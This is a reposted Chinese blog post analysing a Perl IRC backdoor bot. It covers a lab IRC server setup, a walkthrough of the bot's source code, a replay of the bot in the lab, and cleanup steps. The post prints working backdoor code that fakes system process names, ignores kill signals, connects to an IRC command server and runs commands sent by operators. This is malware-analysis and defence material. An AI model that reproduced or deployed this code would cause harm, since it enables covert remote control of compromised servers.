DDoS Perl IrcBot v1.0分析复现与处置

DDoS Perl IrcBot v1.0分析复现与处置
前言
最近遇到一个基于PERL的IRC后门,通过IRC协议与victim交互,经过简单的分析,搭建环境复现后门的运行流程及深入分析它的原理及行为,最终目的是根据分析结果给出了后门一些处理办法,供大家学习和参考。

IRC
IRC是Internet Relay Chat 的英文缩写,中文一般称为互联网中继聊天。它是由芬兰人Jarkko Oikarinen于1988年首创的一种网络聊天协议。经过十年的发展,目前世界上有超过60个国家提供了IRC的服务。IRC的工作原理非常简单,您只要在自己的PC上运行客户端软件,然后通过因特网以IRC协议连接到一台IRC服务器上即可。它的特点是速度非常之快,聊天时几乎没有延迟的现象,并且只占用很小的带宽资源。所有用户可以在一个被称为\”Channel\”(频道)的地方就某一话题进行交谈或密谈。每个IRC的使用者都有一个Nickname(昵称)。

DDoS Perl IrcBot v1.0分析复现与处置
环境搭建
代码分析
运行复现
处置办法
环境搭建
在分析之前,先把环境搭建好,方便后续的分析。

系统:Ubuntu 16.04 x64
Irc服务器:inspircd
mIRC客户端
inspircd安装与配置

#更新软件包
sudo apt-get update
#安装inspircd
sudo apt-get install inspircd
#编辑配置文件
sudo vim /etc/inspircd/inspircd.conf
1
2
3
4
5
6
配置文件中需要修改的地方:

#配置server
<server name="irc.tester.com"
description="Local IRC Server"
Id="12b" #添加ID ,参数形式为“两个数字和一个字母”
network="testIRC">

#配置bind地址
<bind address="0.0.0.0" port="6667" type="clients">

#配置系统关闭和重启(可选)
<power diepass="tester1" restartpass="tester2" pause="2">

#配置管理员
<oper name="root"
password="123456"
host=*@localhost,**@xxx.xxx.xx.xxx #其中xxx.xxx.xxx.xx为你的服务器ip
type="NetAdmin">
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
启动inspircd服务器

#启动服务器
sudo service inspircd start
1
2
启动之后使用netstat -antp命令查看6667端口是否对外开放(0.0.0.0),否则尝试重启

#重启服务器
sudo service inspircd restart
1
2
代码分析
样本下载:Ircbot

编辑器打开Perl样本,发现代码不足1000行,但是从它的注释中可以看出,它包含的功能还很多,打开代码从头到尾仔细分析一波,下面是它的运行流程图,很简单先看看。


1.变量申明,代码一开始申明了很多变量,虽然现在不知道要干嘛,暂且过眼记录一下。

#定义进程名数组
my @rps = ("/usr/local/apache/bin/httpd -DSSL",
"/usr/sbin/httpd -k start -DSSL",
"/usr/sbin/httpd",
"/usr/sbin/sshd -i",
"/usr/sbin/sshd",
"/usr/sbin/sshd -D",
"/usr/sbin/apache2 -k start",
"/sbin/syslogd",
"/sbin/klogd -c 1 -x -x",
"/usr/sbin/acpid",
"/usr/sbin/cron");
#随机选择一个进程名
my $process = $rps[rand scalar @rps];

#定义mIRC版本数组
my @rversion = ("\001VERSION - unknown command.\001",
"\001mIRC v5.91 K.Mardam-Bey\001",
"\001mIRC v6.2 Khaled Mardam-Bey\001",
"\001mIRC v6.03 Khaled Mardam-Bey\001",
"\001mIRC v6.14 Khaled Mardam-Bey\001",
"\001mIRC v6.15 Khaled Mardam-Bey\001",
"\001mIRC v6.16 Khaled Mardam-Bey\001",
"\001mIRC v6.17 Khaled Mardam-Bey\001",
"\001mIRC v6.21 Khaled Mardam-Bey\001",
"\001mIRC v6.31 Khaled Mardam-Bey\001",
"\001mIRC v7.15 Khaled Mardam-Bey\001");
#随机选择一个IRC版本号
my $vers = $rversion[rand scalar @rversion];

#定义一个较大的昵称数组
my @rircname = ("abbore","ably","abyss","acrima","aerodream","afkdemon","ainthere","alberto","alexia","alexndra",
"alias","alikki","alphaa","alterego","alvin","ambra","amed","andjela","andreas","anja",
"anjing","anna","apeq","arntz","arskaz","as","asmodizz","asssa","athanas","aulis",
"aus","bar","bast","bedem","beeth","bella","birillo","bizio","blackhand","blacky",
"blietta","blondenor","blueangel","bluebus","bluey","bobi","bopoh","borre","boy","bram",
"brigitta","brio","brrrweg","brujah","caprcorn","carloto","catgirl","cathren","cemanmp","chainess",
"chaingone","chck","chriz","cigs","cintat","clarissa","clbiz","clex","cobe","cocker",
"coke","colin","conan","condoom","coop","coopers","corvonero","countzero","cracker","cread",
"crnaruka","cruizer","cubalibre","cure","custodes","dan","dangelo","danic","daniela","dario",
"darker","darknz","davide","daw","demigd","des","devastor","diabolik","dimkam","dital",
"djtt","dogzzz","dolfi","dolphin","dottmorte","dracon","dragon","drtte","dumbblnd","dusica",
"ebe","edgie","eggist","einaimou","elef","elly","emmi","encer","engerim","erixon",
"eurotrash","fairsight","fin","fireaway","fjortisch","floutti","fluffer","flum","forever","fqw",
"fra","freem","freew","freud","funny","furia","furunkuli","fwsmou","gad","gamppy",
"gerhard","ghostie","gili","girlie","giugno","gizmo","glidaren","gold","gomora","gracie",
"grave","graz","grron","gsund","gufoao","hali","hallas","hammer","harri","harry",
"hayes","hazor","herbiez","hlios","hoffi","honeii","hongkong","hug","iasv","ibanez",
"ibanz","ibar","igi","illusins","imp","inkworks","iplord","ivan","ja","jaffa",
"jaimeafk","james","jamezdin","janet","janne","jason","javagrl","jayc","jazz",
"jejborta","jester","jj","jn","jockey","joe","joelbitar","johannes","johndow","johnny",
"joni","jonni","jornx","joshua","jossumi","judy","juge","juha","juhas","julze",
"juutsu","kajman","kalca","kamileon","kardinal","kasandra","katarina","kaviee","kbee","ken",
"keung","kewin","khan","kikeli","kikii","kilroi","kiwi","klaara","kliimax","klimas",
"kode","kojv","koopal","kralj","krash","krista","kronos","ktx","kungen","kuppa",
"kurai","lala","lamour","latina","legend","lenisaway","lily","linda","lingyee","linux",
"lisa","lisha","litta","littleboy","liverpoo","liyen","liz","liza","lonely","lonelygal",
"lonewolf","lopez","lordie","lovebyte","lph","luarbiasa","lucignol","lullaby","lunatic","luny",
"lupo","mac","macesgl","madd","mailman","malkav","malr","mamakians","mamaw","manarimou",
"manarisou","maradona","marakana","marco","marillion","mark","mary","master","maurino","max",
"mcalcota","melanie","melinda","meph","mephisto","mg","mhj","mhz","mig","miina",
"mika","mikav","mike","mikemcgii","mikko","mikma","mimma","miss","moladmin","monikaw",
"monkeyboy","monroe","monstop","mooks","mordeshur","mpdike","mrbate","mrbeauty","mrblom","mrbx",
"mrjee","mro","mrtabizy","mrx","mrxx","msd","mu","muimui","musashi","musc",
"musce","musicgal","muti","myboy","mystr","mythic","mywife","nallllle","nanask","natalie",
"natborta","ncubus","neutrino","niceguy","nico","niklas","nimfa","nino","nurul","obiwanbip",
"ogre","olivia","omega","only","orac","orace","oranzzzzz","organza","ourlove","outworld",
"outzake","oxygn","paliadog","pazarac","permaloso","perroz","pessaar","phre","phreaky","pihkal",
"pinball","poesje","poison","poofie","popy","powerpc","pper","primera","primetime","proxyma",
"pshyche","psioncore","psiximou","psixisou","psychosis","psyidle","pszaah","puppetm","pzzzz",
"quattro","question","ra","ragio","ragnetto","raiden","raindance","raistln","ranu","raska",
"raul","raye","reartu","red","reflect","ribica","richard","rick","rigo","rikuta",
"rikuxr","rita","rix","rob","roku","ronaldo","ronwrl","roticanai","rugiada","ruthless",
"saalut","sammi","sand","satanins","schzsh","scorpin","sealink","sean","secret","serpentor",
"servant","sethi","sexbolek","sexyman","sharmm","shearer","shekel","shio","shortys","shred",
"sidewalk","sil","siren","skar","skill","skru","sky","skygun","skylink","slaktarn",
"slash","slgon","smarties","smck","snake","snike","snoopgirl","sodoma","sopocani","sorceress",
"spacebbl","spacedump","spanker","spermboy","spirtouli","srk","stazzz","steve","stinga","stj",
"stjf","studenica","stussy","suez","suhoj","sukun","sunsola","surfer","sutera","svearike",
"sweetii","sweetlady","sweklopi","swepilot","switch","syncphos","szern","takumura","tallaxlc","tampone",
"tarabas","tatano","tato","tennis","tenx","terence","terkukur","tero","thefox","thesint",
"timer","timewalk","tmhd","tnxfck","to","tomihki","tommy","topo","triumph","trustme",
"tungau","tupac","turbozzzz","turing","tvrdjava","tysn","unicron","uoff","uptimer","utopia",
"vader","vaismi","vajje","vanda","varjo","vass","vento","venusguy","vertie","viagara",
"vicious","vidxxx","virex","vodafone","vone","vrgnie","vuubeibe","wanderer","warrr","wasabboy",
"weebee","wellu","wendy","whiskey","willgood","wing","winny","wknight","wlly","wolfman",
"wow","wp","xarasou","xtreme","xxx","xzone","yakzr","yang","yashy","yasin",
"yenyen","ykbug","yogiebear","zai","zfstr","zinj","zizu","zvezda","zwimou","zwisou",
"zwsiew","zwsiewale");

#随机生成一个ircname
my $ircname = $rircname[rand scalar @rircname];

#随机生成一个realname 并去除最后一位字符\n
chop (my $realname = $rircname[rand scalar @rircname]);

my $nick =$rircname[rand scalar @rircname]; #随机生成一个nickname

#定义IRC服务器地址和端口,如果$server不存在则默认
$server = 'xxx.xxx.xxx.xxx' unless $server;
my $port = '6667';# 端口

my $linas_max='8';
my $sleep='5'; #间歇时间

#运行目录
my $homedir = "/tmp";
my $version = 'gztest v1';

#管理员数组
my @admins = ("root","root1","root2","root3","root4");

#管理员ip
my @hostauth = ("xxx.xxx.xxx.xxx");

#IRC频道
my @channels = ("#Perl");

my $pacotes = 1;
# 信号列表及其忽略处理方式
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
准备连接请求

use Socket;
use IO::Socket;
use IO::Socket::INET;
use IO::Select;

chdir("$homedir");

$server="$ARGV[0]" if $ARGV[0]; #服务器地址从命令行参数中获得
$0="$process"."\0"x16; #[*]从数组中随机的进程名,后填充16个字节0x00
my $pid=fork; #fork一个进程出来,进程名即为$0
exit if $pid; #不成功则退出脚本
die "Can't fork in background: $!" unless defined($pid);

our %irc_servers; #定义全局 irc_server
our %DCC; #定义全局 DDC
my $dcc_sel = new IO::Select->new(); #建立socket对象
$sel_cliente = IO::Select->new(); #建立socket对象
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
接下来,连接服务器并循环监听

my $line_temp;
while( 1 ) {
while (!(keys(%irc_servers))) {
conectar("$nick", "$server", "$port"); #conectar函数,用于连接irc服务器
}
delete($irc_servers{''}) if (defined($irc_servers{''}));
my @ready = $sel_cliente->can_read(0); #等待回复
next unless(@ready); #如果没有返回则持续监听
foreach $fh (@ready) {
$IRC_cur_socket = $fh;
$meunick = $irc_servers{$IRC_cur_socket}{'nick'};
$nread = sysread($fh, $msg, 4096); #读取缓冲区信息
if ($nread == 0) {
$sel_cliente->remove($fh);
$fh->close;
delete($irc_servers{$fh});
}
@lines = split (/\n/, $msg); #将聊天信息带入循环解析
for(my $c=0; $c<= $#lines; $c++) {
$line = $lines[$c];
$line=$line_temp.$line if ($line_temp);
$line_temp='';
$line =~ s/\r$//;
unless ($c == $#lines) {
parse("$line"); #解析聊天命令
} else {
if ($#lines == 0) {
parse("$line");
} elsif ($lines[$c] =~ /\r$/) {
parse("$line");
} elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
parse("$line");
} else {
$line_temp = $line;
}
}
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
可以看到在while循环中,除了conectar函数,其中还有一个频繁出现的parse()函数,跟进parse函数,看看是怎么解析命令的。

sub parse {
my $servarg = shift; #获取传入的line参数,也就是聊天的内容
if ($servarg =~ /^PING \:(.*)/) {
sendraw("PONG :$1");
}
elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { #此处采用正则匹配
my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
if ($args =~ /^\001VERSION\001$/) {
notice("$pn", "".$vers."");
}
if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) { #判断当前用户ip是否在管理ip内
if (grep {$_ =~ /^\Q$pn\E$/i } @admins ) { #判断是否为管理员
if ($onde eq "$meunick"){ #是否为该用户
shell("$pn", "$args");
}
if ($args =~ /^(\Q$meunick\E|\!u)\s+(.*)/){
my $natrix = $1;
my $arg = $2;
if ($arg =~ /^\!(.*)/) {
ircase("$pn","$onde","$1");
} elsif ($arg =~ /^\@(.*)/) {
$ondep = $onde;
$ondep = $pn if $onde eq $meunick;
bfunc("$ondep","$1");
} else {
shell("$onde", "$arg");
}
}
}
}
}
elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
if (lc($1) eq lc($meunick)) {
$meunick=$4;
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
}
}

elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
nick("$meunick-".int rand(9999));
}
elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
$meunick = $2;
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
$irc_servers{$IRC_cur_socket}{'nome'} = "$1";
foreach my $canal (@channels) {
sendraw("MODE $nick +x");
sendraw("JOIN $canal");
sendraw("PRIVMSG $canal : [This is a test script!]");
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
可以看出通过对代入的参数进行正则匹配来解析命令,那么正则匹配的到底什么?这时候分析数据包是一个不错的分析方法。

elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { #此处采用正则匹配
my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
if ($args =~ /^\001VERSION\001$/) {
notice("$pn", "".$vers."");
}
if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) { #判断当前用户权限
if (grep {$_ =~ /^\Q$pn\E$/i } @admins ) {
if ($onde eq "$meunick"){
shell("$pn", "$args");
}

1
2
3
4
5
6
7
8
9
10
11
12
wirdshark“一键抓取”tcp数据包。


发现通信数据包结构是这样的。

:stjf!cocker@xxx.xxx.xxx.xxx PRIVMSG root : [xxxxx]

用正则匹配工具看看


看到这里,就能够清晰的明白parse()函数的功能了,其中匹配的参数为:

my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
# $pn =stfj [昵称] $hostmask=[ip] $onde=[管理员] $args = [命令]
1
2
parse()函数接下来就是判断发送命令的用户权限,随后根据正则调用功能函数执行了,不过如此。

if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) { #判断当前用户ip
if (grep {$_ =~ /^\Q$pn\E$/i } @admins ) { #判断用户名是否在管理员数组
if ($onde eq "$meunick"){
shell("$pn", "$args");
}
if ($args =~ /^(\Q$meunick\E|\!u)\s+(.*)/){
my $natrix = $1;
my $arg = $2;
if ($arg =~ /^\!(.*)/) {
ircase("$pn","$onde","$1"); #执行功能方法一
} elsif ($arg =~ /^\@(.*)/) {
$ondep = $onde;
$ondep = $pn if $onde eq $meunick;
bfunc("$ondep","$1"); #执行功能方法二
} else {
shell("$onde", "$arg"); #执行功能方法三
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
剩下的代码就是具体各个功能的实现了,想看看一些功能是这么实现的,可以进入每个功能函数具体看看,也是一个学习的过程,基本的功能如下。


运行复现
服务端之前已经搭建好了,通过分析代码,可以看到接入方法很简单,在代码中配置如下。

$server = 'xxx.xxx.xxx.xxx' unless $server; #填入服务器ip
my $port = '6667';# 端口

...

my @admins = ("root","root1","root2","root3","root4"); #管理员名称数组,自定义
my @hostauth = ("xxx.xxx.xxx.xx"); #管理员ip,填写你的
my @channels = ("#Perl"); #进入的IRC频道
1
2
3
4
5
6
7
8
启动mIRC客户端软件,添加服务器


进入频道。


在victim上运行该脚本后,发现#Perl栏目中已经有用户进入了,可以看到名字是随机的。


执行命令和回显


从中可以看到后门进程伪装成的名字是/usr/sbin/cron这是一个系统定时任务的进程名字,这与它之前定义的伪装进程数组名一致。

my @rps = ("/usr/local/apache/bin/httpd -DSSL",
"/usr/sbin/httpd -k start -DSSL",
"/usr/sbin/httpd",
"/usr/sbin/sshd -i",
"/usr/sbin/sshd",
"/usr/sbin/sshd -D",
"/usr/sbin/apache2 -k start",
"/sbin/syslogd",
"/sbin/klogd -c 1 -x -x",
"/usr/sbin/acpid",
"/usr/sbin/cron");
1
2
3
4
5
6
7
8
9
10
11
-从victim服务器上查看其状态,有2个明显的症状。

1.服务器负载异常。

2.网络连接异常。


处置办法
netstat -antp查看当前网络连接,排查异常连接ip,端口,以及进程名(可参考代码中定义的伪装进程名)。
kill -9 pid 直接终止该进程。
删除后门脚本可采用全局搜索关键词的方式找到文件名后删除。
grep -rn “xxxx” * #找到文件名
find / -name filename #找到位置
————————————————
版权声明:本文为CSDN博主「GeorgerPig」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/zouyuanxc/article/details/80116752

posted @ 2021-11-11 09:53  程序bug生  阅读(760)  评论(0)    收藏  举报